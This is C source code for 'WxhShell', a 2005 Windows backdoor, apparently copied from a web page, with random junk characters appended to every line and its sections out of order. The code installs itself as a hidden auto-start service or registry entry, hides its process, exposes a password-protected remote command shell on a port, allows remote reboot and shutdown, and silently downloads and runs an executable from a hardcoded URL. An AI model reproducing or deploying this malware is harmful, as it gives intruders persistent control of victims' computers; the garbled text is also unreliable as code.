    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kx?Yin8K  
    if(Boot(SHUTDOWN)) MO0NNVVi%U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y`(Ri-U4  
    else { 77yYdil^W+  
    closesocket(wsh); iiMS3ueF  
    ExitThread(0); )=d)j^ t9  
    } 7xv9v1['  
    break; jhQoBC>:  
    } =>`z k^  
  // 获取shell  <{Y3}Q  
  case 's': { NRJp8G Z%U  
    CmdShell(wsh); DE?k|Get2  
    closesocket(wsh); Qd kus 214  
    ExitThread(0); QfAmGDaYQ  
    break; _^#eO`4"  
  }  IPK1g3Z  
  // 退出 xh$yXP0/  
  case 'x': { wCg7JW#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $%MgIy  
    CloseIt(wsh); 2O Ur">_  
    break; R|M]mwa^w  
    } CvE^t#Bok  
  // 离开 *c[w9(fU  
  case 'q': { R$hIgw+p[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~M{/cv  
    closesocket(wsh); ; Z7!BU  
    WSACleanup(); h7q{i|5  
    exit(1); 5rB>)p05[  
    break; 4RB%r  
        } gM>?w{!LBx  
  } f^B'BioW(  
  } {qi #  
_7Y-gy#\a  
  // 提示信息 =3QhGFd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (b//YyqN  
} ub-e!{  
  } FEu"b@v  
SfC* ZM}<  
  return; ||QK)$"  
} O}Pqbx&  
)5~T%_  
// shell模块句柄 b)Da6fp  
int CmdShell(SOCKET sock) M.t,o\xl  
{ U|tacO5w`  
STARTUPINFO si; Od~uYOL/B  
ZeroMemory(&si,sizeof(si)); */aQ+%>jf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7)jN:+4N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6[k<&;  
PROCESS_INFORMATION ProcessInfo; TS9<uRO0  
char cmdline[]="cmd"; (LmU\Pe%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cYK:Y!|`F  
  return 0; F&R*njJcc  
} M-i3_H)  
y!P!Fif'  
// 自身启动模式 SR?mSpq5  
int StartFromService(void) 2e%\aP`D2  
{ *cXq=/s  
typedef struct ZBpcC0 z  
{ 5H XF3  
  DWORD ExitStatus; vRC >=y*=  
  DWORD PebBaseAddress; 5["3[h  
  DWORD AffinityMask; 5uQ+'*xN%  
  DWORD BasePriority; c.Hw K\IU  
  ULONG UniqueProcessId; ?# FYF\P  
  ULONG InheritedFromUniqueProcessId; `i cs2po  
}   PROCESS_BASIC_INFORMATION; GJcxqgk$  
4z( B`t~7  
PROCNTQSIP NtQueryInformationProcess;  4bA^Gq  
7:?\1 a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FqA4 O U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %AA&n*m  
]b%U9hmL^f  
  HANDLE             hProcess; ZN $%\,<  
  PROCESS_BASIC_INFORMATION pbi; b`D]L/}pr  
v:4j 3J$z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ; >H1A  
  if(NULL == hInst ) return 0; CYy=f-  
-_t4A *  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8bdO-LJ9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R&.&x'<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ao9#E"BfM  
Eej Lso#\  
  if (!NtQueryInformationProcess) return 0; i,<'AL )  
3W[?D8yi)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J^jd@E  
  if(!hProcess) return 0; f^1J_}cL  
&Ril[siw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bl a`B=r  
w6!97x  
  CloseHandle(hProcess); AH&RabH2  
uthW AT &  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AE~a=e\x  
if(hProcess==NULL) return 0; i8e*9;4@  
T{Xd>  
HMODULE hMod; P1rjF:x[*  
char procName[255]; Pz0MafF|T  
unsigned long cbNeeded; 2kVZlt'y  
8b'@_s!_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !38KHq^|&  
vO2WZ7E!  
  CloseHandle(hProcess); tNr'@ls  
cdL]s^z  
if(strstr(procName,"services")) return 1; // 以服务启动 /g+-{+sx  
U$gR}8\e  
  return 0; // 注册表启动 o|h=M/  
} o FP8s[B  
ugTsI~aE  
// 主模块 (+(@P*c1  
int StartWxhshell(LPSTR lpCmdLine) ?ld&}|W~  
{ YT+b{   
  SOCKET wsl; a_P|KRl  
BOOL val=TRUE; >"!ScYn  
  int port=0; 0}e?hbF%U  
  struct sockaddr_in door; /.7RWy`  
Pp!4Ak4TT9  
  if(wscfg.ws_autoins) Install(); ZtO$kK%q;  
8k-]u3  
port=atoi(lpCmdLine); e7"T37  
X$6NJ(2G  
if(port<=0) port=wscfg.ws_port; 2T+-[}*  
e,}h^^"  
  WSADATA data; i \NV<I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1xS+r)_n@  
=AzPAN#e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3A`]Rk   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j8Z;}Ps  
  door.sin_family = AF_INET; K\9CW%W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E} XmZxHV  
  door.sin_port = htons(port); k/{WlLN  
\7b, Mz!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [k%hl`}  
closesocket(wsl); Wj,s/Yr:  
return 1; R&Nl!QTJj  
} d]s^?=gM  
asYk #;z\"  
  if(listen(wsl,2) == INVALID_SOCKET) { ~;CNWJtcf(  
closesocket(wsl); \ZADY.ha  
return 1; q&z'S  
} /lUfxc4  
  Wxhshell(wsl); F|> 3gW  
  WSACleanup(); G!$~'o%/  
3ArHaAv{y  
return 0; _N|%i J5  
Ga02Zk  
} #<[&Lw  
W{'hn&vU  
// 以NT服务方式启动 R]%"YQ V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'u v=D  
{ d*s*AV  
DWORD   status = 0; EP@u4F  
  DWORD   specificError = 0xfffffff; ![K\)7iKo  
ZT!8h$SE:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QG?!XWz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _[&V9 Jt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N,qo/At}R[  
  serviceStatus.dwWin32ExitCode     = 0; }_KzF~  
  serviceStatus.dwServiceSpecificExitCode = 0; }p6]az3  
  serviceStatus.dwCheckPoint       = 0; o%~fJx:]y  
  serviceStatus.dwWaitHint       = 0; 8WQ#)  
#[9UCX^=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lfDd%.:q4S  
  if (hServiceStatusHandle==0) return; _1E c54D  
F_:zR,P%#  
status = GetLastError(); @Nsn0-B?ne  
  if (status!=NO_ERROR) (n7xYGfYS  
{ 8%B_nVc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9R8q+2  
    serviceStatus.dwCheckPoint       = 0; 0,RYO :`  
    serviceStatus.dwWaitHint       = 0; {7m2vv?Z  
    serviceStatus.dwWin32ExitCode     = status; h#4n  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2{=D)aC$f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =5Db^  
    return; ~_JfI7={Jn  
  } PI%l  
9k71h`5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `{{6vb^g  
  serviceStatus.dwCheckPoint       = 0; UZs '[pm)  
  serviceStatus.dwWaitHint       = 0; Jkj7ty.J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kl:/PM^  
} | CFG<]  
y%%VJ}'X!  
// 处理NT服务事件,比如:启动、停止 >gzM-d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [?7QmZK  
{ :1qLRr  
switch(fdwControl) K!CVS7  
{ 5B:"$vC{=  
case SERVICE_CONTROL_STOP: QEqYqAGzu|  
  serviceStatus.dwWin32ExitCode = 0; Mu`_^gG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eG(YORkR  
  serviceStatus.dwCheckPoint   = 0; /~'C!so[v  
  serviceStatus.dwWaitHint     = 0; r~T!$Tb  
  { LAk .f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "W6cQsi  
  } ?9{^gW4|  
  return; gBV4IQ  
case SERVICE_CONTROL_PAUSE: GEy7Vb)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cwvJH&%0  
  break; 5lHt~hB\  
case SERVICE_CONTROL_CONTINUE: a({Rb?b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wwdmz;0S  
  break; P<R^eLZ<&  
case SERVICE_CONTROL_INTERROGATE: DI8I'c-P  
  break; Wtu-g**KN  
}; 9{fP.ifdv7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ao ?b1VYy/  
} @ xo8"kl  
'L O3[G{  
// 标准应用程序主函数 -S]ercar  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k0j4P^d  
{ A nl1+  
]*a(^*}A%  
// 获取操作系统版本 0O'M^[=d.8  
OsIsNt=GetOsVer(); #0r^<Yn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {'zS8  
 )XonFI  
  // 从命令行安装 r&R~a9+)  
  if(strpbrk(lpCmdLine,"iI")) Install(); cu}(\a  
83vZRQw  
  // 下载执行文件 >b\|%=(x!*  
if(wscfg.ws_downexe) { v0) %S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E!}'cxb^  
  WinExec(wscfg.ws_filenam,SW_HIDE); g0biw?  
} o0No"8DnjH  
l,Q`;v5|  
if(!OsIsNt) { 31^/9lb  
// 如果时win9x,隐藏进程并且设置为注册表启动 90+Vw`Gz=  
HideProc(); /'{vDxZf R  
StartWxhshell(lpCmdLine); <fBJ@>  
} tBzE(vW  
else [K #$W  
  if(StartFromService()) JQbaD-  
  // 以服务方式启动 +?6]Vu&|f  
  StartServiceCtrlDispatcher(DispatchTable); SPb`Q"  
else g~21|Sa$[  
  // 普通方式启动 /xgC`]-  
  StartWxhshell(lpCmdLine); y'>9' /&  
OcF_x/#  
return 0; bl!pKOY  
} l5^Q  
Yl au  
+/$&P3  
^-?^iWQ G  
=========================================== (BH<\&yHE  
n+=7u[AZi  
).,twf58  
<k1muSe  
&0T7Uv-`  
v,Kum<oi?  
" kPy7e~  
!Usmm8!K  
#include <stdio.h> 1^NC=IS9z  
#include <string.h> 6%t6u3  
#include <windows.h> h-(NWxK+  
#include <winsock2.h> tpzWi W/  
#include <winsvc.h> oAN,_1v)  
#include <urlmon.h> ~-sgk"$  
ozS'n]8*  
#pragma comment (lib, "Ws2_32.lib") S`[(y?OF?  
#pragma comment (lib, "urlmon.lib") Rh~j -;  
F6CuY$0m=  
#define MAX_USER   100 // 最大客户端连接数 aC9iNm8w  
#define BUF_SOCK   200 // sock buffer *cFGDQ !  
#define KEY_BUFF   255 // 输入 buffer 'Sd+CXS  
}duqX R  
#define REBOOT     0   // 重启 arKf9`9  
#define SHUTDOWN   1   // 关机 M3KK^YRN  
]D@aMC$#  
#define DEF_PORT   5000 // 监听端口 ' $yy  
r4FSQ$[9w  
#define REG_LEN     16   // 注册表键长度 FDiDHOR  
#define SVC_LEN     80   // NT服务名长度 ,^ -%<  
\s8h.xjU  
// 从dll定义API C-49u<; ,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gYh o$E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2PPb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OFv-bb*YZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;X;x.pi   
Z1W%fT  
// wxhshell配置信息 VZamR}x  
struct WSCFG { dXn$XGF%R  
  int ws_port;         // 监听端口 8M3DG=D  
  char ws_passstr[REG_LEN]; // 口令 yp]vDm  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z 5 .cfI[  
  char ws_regname[REG_LEN]; // 注册表键名  nmL|v  
  char ws_svcname[REG_LEN]; // 服务名 -*&aE~Cs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M4 ?>x[Pw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Tl_o+jj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Xq"9TYf$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XOS^&;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n~>b}DY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ia9!ucN7DA  
?o]NV  
}; _^eA1}3  
PCDvEbpG  
// default Wxhshell configuration 'q/C: Yo  
struct WSCFG wscfg={DEF_PORT, w5-^Py  
    "xuhuanlingzhe", ~tNk\Kkv  
    1, ~P!=fU)  
    "Wxhshell", 9-A@2&J1  
    "Wxhshell", /HqD4GDoug  
            "WxhShell Service", .d#Hh&jj  
    "Wrsky Windows CmdShell Service", 92,@tNQQ}  
    "Please Input Your Password: ", (ux9"r^g;x  
  1, D][I#v h  
  "http://www.wrsky.com/wxhshell.exe", f e6Op  
  "Wxhshell.exe" D@{m  
    }; d`?EEO  
$WE _aNfja  
// 消息定义模块 %0815 5M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <T'fJcR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b5|l8<\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [m x}n+~  
char *msg_ws_ext="\n\rExit."; `yhc,5M  
char *msg_ws_end="\n\rQuit."; ][OkydE  
char *msg_ws_boot="\n\rReboot..."; +K=RMqM-8  
char *msg_ws_poff="\n\rShutdown..."; geM`O|Np  
char *msg_ws_down="\n\rSave to "; sSiZG  
Z>NA 9:  
char *msg_ws_err="\n\rErr!"; &&}c R:U,  
char *msg_ws_ok="\n\rOK!"; Pqvj0zUo$  
EO",|V-  
char ExeFile[MAX_PATH]; |~Awm"  
int nUser = 0; u91  
HANDLE handles[MAX_USER]; Jx&+e,OST  
int OsIsNt; x41t=E](  
H 0Sm4  
SERVICE_STATUS       serviceStatus; b?9'-hK<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (d <pxx  
-%VFC^'5  
// 函数声明 k]TJL9Q  
int Install(void); (Zy=e?E,  
int Uninstall(void); hL;??h,!_  
int DownloadFile(char *sURL, SOCKET wsh); 1mEW]z  
int Boot(int flag); O1]XoUH<  
void HideProc(void); 9 771D  
int GetOsVer(void); uxq#q1  
int Wxhshell(SOCKET wsl); M 8mNeh  
void TalkWithClient(void *cs); Z\?!& &  
int CmdShell(SOCKET sock); ryd}-_LL  
int StartFromService(void); `AdHyE  
int StartWxhshell(LPSTR lpCmdLine); d7kv <YG  
h* /  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wz:w6q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }u5J<*:bZ  
7w0=i Z>K  
// 数据结构和表定义 .= 8Es#  
SERVICE_TABLE_ENTRY DispatchTable[] = fG7-0 7  
{ PO2]x:  
{wscfg.ws_svcname, NTServiceMain}, r7)iNTQ1  
{NULL, NULL} E?m W4?  
}; .e:+Ek+  
NXE1v~9V  
// 自我安装 "yXqf%CGE  
int Install(void) 8H SGOs =8  
{ F|WH=s3  
  char svExeFile[MAX_PATH]; okW'}@jD  
  HKEY key; Pb :6nH=  
  strcpy(svExeFile,ExeFile); =gB{(  
~1{~iB2G  
// 如果是win9x系统,修改注册表设为自启动  ~#z b  
if(!OsIsNt) { 0`WZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y7yzM1?t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @qsOWx`l$  
  RegCloseKey(key);  hP 1;$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C4C!-12  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pq5bK0N Q  
  RegCloseKey(key); JDMsco+j5  
  return 0; +d6Jrd*  
    } sy9YdPPE  
  } Y9(BxDP_+Y  
} ewinG-hX_  
else { t2%gS" [  
IG@@CH  
// 如果是NT以上系统,安装为系统服务 (b1rd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X`daaG_l  
if (schSCManager!=0) "w{,ndZ  
{ `udZ =S"/L  
  SC_HANDLE schService = CreateService ~U4;YlQP  
  ( 0k|/]zfb  
  schSCManager, *;(GL  
  wscfg.ws_svcname, v\COl*  
  wscfg.ws_svcdisp, xm<sH!,j  
  SERVICE_ALL_ACCESS, uFi[50  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^m^,:]I0P  
  SERVICE_AUTO_START, '8Lc}-M4  
  SERVICE_ERROR_NORMAL, p WKpc  
  svExeFile, &[}5yos r  
  NULL, YWa9|&m1  
  NULL, nHF  
  NULL, Jc9^Hyqu&  
  NULL, $2*&\/;-E!  
  NULL SB!m&;Tb  
  ); o&:n>:im  
  if (schService!=0) CQ%yki  
  { > qIZ  
  CloseServiceHandle(schService); KTu&R6|  
  CloseServiceHandle(schSCManager); a<V* )  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V-9z{  
  strcat(svExeFile,wscfg.ws_svcname); qS2]|7q?Tc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xZ&S7G1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X`n*M]  
  RegCloseKey(key); g.O? 1bebe  
  return 0; v&ZI<Xt+  
    } 9!6yo  
  } $L$GI~w/  
  CloseServiceHandle(schSCManager); p/uOCQ|1l  
} QWxl$%`89<  
} kPZ1OSX  
!' @  
return 1; ,k3aeM~`%w  
} !HHbd |B_  
?{6[6T  
// 自我卸载  SjO Iln  
int Uninstall(void) @-qC".CI  
{ ()i!Uo  
  HKEY key; QJ-?6 7_i  
EC| b7  
if(!OsIsNt) { Z})n%l8J]p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \\~4$Ai[  
  RegDeleteValue(key,wscfg.ws_regname); t]%! vXo  
  RegCloseKey(key); kOuQR$9s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^l/$ 13=  
  RegDeleteValue(key,wscfg.ws_regname); } u7&SU  
  RegCloseKey(key); UwxrYouv~@  
  return 0; 6Bm2_B  
  } 84dej<   
} 0<S(zva7([  
} C!" .[3  
else { 6ypqnOTr  
V_7xXuM/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :`P;(h  
if (schSCManager!=0) tlFc+3  
{ IsCJdgG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EMejvPnZO  
  if (schService!=0) $$G^#t1=XZ  
  { P X<,/6gz  
  if(DeleteService(schService)!=0) { Mky8qVQ2  
  CloseServiceHandle(schService); =1vVI Twl  
  CloseServiceHandle(schSCManager); Kq0hT4w  
  return 0; &hYjQ&n  
  } 9qQFIw~S  
  CloseServiceHandle(schService); @V-CG!  
  } &_E*]Sj\  
  CloseServiceHandle(schSCManager); #0WO~wL  
} cBA2;5E  
} $T0|zPK5  
$rC`)"t  
return 1; "]`QQT-{0  
} DD hc^(  
h@D4~(r  
// 从指定url下载文件 9?W38EF  
int DownloadFile(char *sURL, SOCKET wsh) ;nJCd1H  
{ )FqE8oN-  
  HRESULT hr; -Q8pWtt  
char seps[]= "/"; 4[&6yHJ^  
char *token; " ,rA  
char *file; u$[T8UqF  
char myURL[MAX_PATH]; ~1h-LbFI2  
char myFILE[MAX_PATH]; =kLg)a |  
Swua dN  
strcpy(myURL,sURL); &WHEPdD  
  token=strtok(myURL,seps); 6%_d m'  
  while(token!=NULL) 0\U28zbMJw  
  { M$gy J!Pb  
    file=token; f i!wrvO  
  token=strtok(NULL,seps); n{Mj<\kL  
  } (Qq$ql27  
Q\:'gx8`  
GetCurrentDirectory(MAX_PATH,myFILE); {w^flizY  
strcat(myFILE, "\\"); V*'9yk"  
strcat(myFILE, file); Yazpfw 7'd  
  send(wsh,myFILE,strlen(myFILE),0); 6C/D&+4  
send(wsh,"...",3,0); Z y7@"C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d*,|?Ar*b  
  if(hr==S_OK) VuZmX1x)N  
return 0; Ck.GN<#-^P  
else ( |5g`JDG  
return 1; I$wP`gQh  
_bks*.9}3b  
} Gf'V68,l$  
xI~\15PhG  
// 系统电源模块 =4MiV]  
int Boot(int flag) FM7N|] m  
{ hoeTJ/;dm  
  HANDLE hToken; <ZrZSt+<  
  TOKEN_PRIVILEGES tkp; M=N`&m\  
3P6!j  
  if(OsIsNt) { "5jZS6A]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); si nG $=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nhCB ])u8l  
    tkp.PrivilegeCount = 1; }u+R,@l/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e:V,>RbC0s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]@?3,N  
if(flag==REBOOT) { z4J-qK~2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |ns^' q  
  return 0; HKcipDW  
} xHr  
else { h=4{.EegG&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9Jk(ID'c  
  return 0; iQGoy@<R  
} "3j0)  
  } G:e}>'  
  else { 3^su%z_%  
if(flag==REBOOT) { f (n{7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d) o<R;F  
  return 0; JrL/LGY  
} "iZ-AG!C  
else { IW BVfN->}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z21XlbK   
  return 0; a 5)[?ol  
} vP~F+z @g  
} " ^eq5?L  
Q#g s)2  
return 1; ci^-0l_O  
} 4GHIRH C%[  
3P\I;xM  
// win9x进程隐藏模块 b]g.>$[nX  
void HideProc(void) @e0 Q+t  
{ $0W0+A$  
'b^:"\t'Rh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t=e0z^2i+  
  if ( hKernel != NULL ) 2iG(v._x  
  { $z,bA*j9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -owfuS?i=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #i ]@"R  
    FreeLibrary(hKernel); }> 1h+O  
  } ~IWi @m{  
4rzioIk  
return; X)&Z{ V>  
} F#<P FT4i  
.$OInh  
// 获取操作系统版本 r?+u}uH  
int GetOsVer(void) /Bwea];^Q  
{ 8DI|+`OgW  
  OSVERSIONINFO winfo; 7kwG_0QO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p.}[!!m P  
  GetVersionEx(&winfo); p4AXQuOP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e-K8K+7  
  return 1; q-3KF  
  else <|`@K| N  
  return 0; RYhdf  
} BxT~1SBFq  
N7jRdT2k%  
// 客户端句柄模块 CM#EA"9  
int Wxhshell(SOCKET wsl) 0$_imjZ  
{ `i:0dVs  
  SOCKET wsh; 7lj-Z~1  
  struct sockaddr_in client; 7S7!  
  DWORD myID; Y}#^n7*w~  
|zT0g]WH  
  while(nUser<MAX_USER) i-=ff  
{ -$kJERvy  
  int nSize=sizeof(client); h9-Ky@X`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y^Jv?`jw  
  if(wsh==INVALID_SOCKET) return 1; j bGH3 L  
RQ'c~D)X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dB,#`tc=,  
if(handles[nUser]==0) vp|=q;Q%r  
  closesocket(wsh); c]n03o  
else (hV"z;rI  
  nUser++; %i "  
  } *Fc&DQT(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;' W5|.ZN  
+UsR  
  return 0; ,TtDCcjd%f  
} w +Z};C  
:y %~9=  
// 关闭 socket ^MW%&&,BL  
void CloseIt(SOCKET wsh) )/AvWDKvO  
{ Iq=B]oE  
closesocket(wsh); 8WGM%n#q  
nUser--; :V2 Q n-N  
ExitThread(0); prs<ZxbQb  
} Xda<TX@-  
iHn]yv3 #  
// 客户端请求句柄 wEbs E<</  
void TalkWithClient(void *cs) T ?? aVe]c  
{ wE \c?*k  
MdjLAD)f+C  
  SOCKET wsh=(SOCKET)cs; Os!22 O  
  char pwd[SVC_LEN]; ;$E[u)l  
  char cmd[KEY_BUFF]; H7= z%Y9y  
char chr[1]; >z -(4Z  
int i,j; t5APD?5 c  
"3MUrIsB>  
  while (nUser < MAX_USER) { 4<K`yU]"  
*4:/<wI!  
if(wscfg.ws_passstr) { xwxjj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z{jAt6@7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `4q}D-'TF8  
  //ZeroMemory(pwd,KEY_BUFF); kZ}u  
      i=0; PPO<{  
  while(i<SVC_LEN) { g DG m32  
NGs9Jke2  
  // 设置超时 oI~Qo*4eh  
  fd_set FdRead; 90ag!   
  struct timeval TimeOut; jq)|7_N  
  FD_ZERO(&FdRead); P0(~~z&%[  
  FD_SET(wsh,&FdRead); PZR%8 m}]u  
  TimeOut.tv_sec=8; @R&D["!  
  TimeOut.tv_usec=0; |Z^g\l.j{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7uxPkZbb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q$rA-`jw  
vUs7#*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O*{H;7Pv  
  pwd=chr[0]; !q\w"p0X  
  if(chr[0]==0xd || chr[0]==0xa) { 1n( }Q1fa  
  pwd=0; hUxhYOp  
  break; 6<$|;w-OV  
  } JJ0 CM:xe  
  i++; ejY5n2V#=  
    } #/dde9y  
jGhg~-m  
  // 如果是非法用户,关闭 socket Z^6(&Rh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z]|[VM?4L  
} R<-C>D  
PEt8,,x<"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 73ljW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3F}KrG  
5yiiPK$qr  
while(1) { f1$mh1J W  
:fVMM7  
  ZeroMemory(cmd,KEY_BUFF); 'f7 *RSKqb  
ydqmuZ%2h#  
      // 自动支持客户端 telnet标准   ]q7 LoH'S  
  j=0; +%\j$Pv  
  while(j<KEY_BUFF) { 6CmFmc,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); # pB:LPEsK  
  cmd[j]=chr[0]; = DTOI  
  if(chr[0]==0xa || chr[0]==0xd) { e=UVsYNx  
  cmd[j]=0; cloSJmUlQ  
  break; e@-Mlq)  
  } {/xs9.8:JX  
  j++; TK/'=8  
    } ^ [[ b$h$  
%N>NOk)  
  // 下载文件 { DQ E7kI  
  if(strstr(cmd,"http://")) { `$SEkYdt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AE4~M`6D  
  if(DownloadFile(cmd,wsh)) #*$@_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7jH`_58  
  else ~y H>Ko9F}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Um4\QvUx  
  } /+t[,  
  else { E5BgQ5'  
'b?.\Bm;  
